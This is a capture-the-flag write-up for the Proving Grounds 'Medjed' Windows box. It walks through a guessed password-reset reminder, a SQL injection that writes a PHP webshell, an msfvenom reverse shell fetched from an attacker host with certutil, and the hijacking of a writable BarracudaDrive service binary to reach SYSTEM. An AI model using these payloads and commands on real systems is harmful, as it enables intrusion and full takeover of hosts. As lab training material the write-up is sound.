# Medjed Writeup - Proving Grounds

> Intermediate Windows box where a guessable password-reset reminder on a Rails quiz app leads to a SQL injection file write RCE, and insecure folder permissions in BarracudaDrive 6.5 escalate to SYSTEM.

- **URL:** https://hackindex.io/writeups/medjed
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Windows
- **Tags:** sql-injection, authentication-bypass, webshell, barracudadrive, privilege-escalation, service-hijacking
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 4 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Medjed chains an SQL injection in a Ruby on Rails quiz app, reached by guessing a weak password-reset reminder, into writing a PHP webshell onto a second web server's document root, then escalates to SYSTEM by replacing a world-writable BarracudaDrive service binary.

## Reconnaissance

### Nmap

Scan all TCP ports.

```bash
sudo nmap -p- $TARGET_IP
sudo nmap -p 135,139,445,3306,30021,33033,44330,45332,45443 -sCV $TARGET_IP
# PORT      STATE SERVICE       VERSION
# 135/tcp   open  msrpc         Microsoft Windows RPC
# 139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
# 445/tcp   open  microsoft-ds
# 3306/tcp  open  mysql         MariaDB (access denied for this host)
# 30021/tcp open  ftp           FileZilla ftpd 0.9.41 beta, anonymous login allowed
# 33033/tcp open  http          Ruby on Rails app (Action Controller errors)
# 44330/tcp open  ssl/unknown
# 45332/tcp open  http          Apache httpd 2.4.46 (Win64) PHP/7.3.23, "Quiz App"
# 45443/tcp open  http          Apache httpd 2.4.46 (Win64) PHP/7.3.23, "Quiz App"
```

Two Apache/PHP web servers (45332, 45443) and a Ruby on Rails app (33033) stand out. Anonymous FTP on 30021 only holds the Rails app's own source tree, a dead end.

## Enumeration

### phpinfo.php

Brute force the PHP site on port 45332.

```bash
gobuster dir -u http://$TARGET_IP:45332 -w /usr/share/wordlists/dirb/common.txt
# /index.html   (Status: 200)
# /phpinfo.php  (Status: 200)
```

`phpinfo.php` leaks the document root.

```bash
curl http://$TARGET_IP:45332/phpinfo.php | grep DOCUMENT_ROOT
# DOCUMENT_ROOT => C:/xampp/htdocs
```

Note the webroot for later. The Rails app on port 33033 lists team members, including `jerren.devops@company.com` whose motto is "Only the paranoid survive", and exposes a password-reset form asking for a username, a free-text reminder, and a new password.

## Exploitation

### Password reset via guessable reminder

Guess a shorter form of the motto as the reminder answer.

```
Username: jerren.devops
Reminder: paranoid
New Password: $JERREN_PASSWORD
```

The reset succeeds and logs in as `jerren.devops`. Editing the profile exposes an experimental "Request Profile SLUG" feature at `/slug` that submits a URL string and echoes a raw `Mysql2::Result` object back, a strong SQL injection signal.

### SQL injection to webshell

A single quote confirms it, and the verbose error leaks the query.

```ruby
sql = "SELECT username FROM users WHERE username = '" + params[:URL].to_s + "'"
```

A UNION injection writes a PHP webshell straight into the other web server's document root.

```sql
' UNION SELECT ("<?php echo passthru($_GET['cmd']); ?>") INTO OUTFILE 'C:/xampp/htdocs/cmd.php'  -- -'
```

```bash
curl "http://$TARGET_IP:45332/cmd.php?cmd=dir"
# Directory of C:\xampp\htdocs
# ...
# 5 File(s)   5,232 bytes
```

RCE confirmed. The attack box can only reach the target on specific ports, so reuse port 30021 for the reverse shell listener and 45332 to host the payload.

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f exe -o reverse.exe
python3 -m http.server 45332
# Payload size: 324 bytes
# Saved as: reverse.exe
# Serving HTTP on 0.0.0.0 port 45332 ...
```

Pull the payload through the webshell with `certutil` and execute it.

```bash
nc -lvnp $ATTACKER_PORT
curl "http://$TARGET_IP:45332/cmd.php?cmd=certutil+-f+-urlcache+http://$ATTACKER_IP:45332/reverse.exe+reverse.exe"
curl "http://$TARGET_IP:45332/cmd.php?cmd=reverse.exe"
# CertUtil: -URLCache command completed successfully.
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
# C:\xampp\htdocs>whoami
# medjed\jerren
```

Shell as `jerren`. Enumerate the filesystem for a privilege escalation path.

## Privilege Escalation

### BarracudaDrive insecure folder permissions

A non-standard folder at `C:\bd` turns out to be **BarracudaDrive 6.5**, running as SYSTEM.

```powershell
icacls C:\bd
icacls C:\bd\bd.exe
# C:\bd         BUILTIN\Administrators:(I)(OI)(CI)(F)
#               NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
#               NT AUTHORITY\Authenticated Users:(I)(M)
# C:\bd\bd.exe  BUILTIN\Administrators:(I)(F)
#               NT AUTHORITY\SYSTEM:(I)(F)
#               NT AUTHORITY\Authenticated Users:(I)(M)
```

`Authenticated Users` has Modify on both the folder and the service binary, a known Insecure Folder Permissions issue in BarracudaDrive 6.5 (EDB-48789). Replace the binary with the reverse shell payload and reboot to trigger it, since `bd.exe` runs as SYSTEM.

```powershell
move bd.exe bd.exe.bak
copy C:\xampp\htdocs\reverse.exe bd.exe
shutdown /r
# 1 file(s) moved.
# 1 file(s) copied.
```

After reboot, the replaced `bd.exe` runs as SYSTEM and connects back to the waiting listener.

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
# C:\Windows\system32>whoami
# nt authority\system
```

Related

## References

- [Exploit-DB 48789](https://www.exploit-db.com/exploits/48789) - BarracudaDrive 6.5 insecure folder permissions allowing a SYSTEM service binary to be replaced.